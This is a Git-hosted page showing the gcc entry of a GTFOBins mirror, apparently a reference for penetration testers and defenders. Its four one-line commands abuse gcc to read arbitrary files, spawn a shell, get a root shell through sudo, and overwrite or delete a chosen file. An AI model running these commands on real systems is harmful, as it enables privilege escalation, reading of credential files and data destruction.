This website requires JavaScript.
Explore
Help
Sign In
dash
/
GTFOBins.github.io
Watch
1
Star
0
Fork
0
You've already forked GTFOBins.github.io
Code
Issues
Pull Requests
Packages
Projects
Releases
Wiki
Activity
Files
51e8892fece37d5d41f75ccfa5398ca7e26f399a
GTFOBins.github.io
/
_gtfobins
/
gcc.md
LinuxSploit
51e8892fec
Update gcc.md
...
delete a file with gcc
2021-04-06 09:45:44 +02:00
348 B
Raw
Blame
History
functions
functions
file-read
shell
sudo
file-delete
code
LFILE=file_to_read gcc -x c -E "$LFILE"
code
gcc -wrapper /bin/sh,-s .
code
sudo gcc -wrapper /bin/sh,-s .
code
echo "int main(){printf(" Hello ");return 0;}" > /tmp/oye.c ; gcc -nostdlib /tmp/oye.c -o [FILE-TO-DELETE] .
Reference in New Issue
View Git Blame
Copy Permalink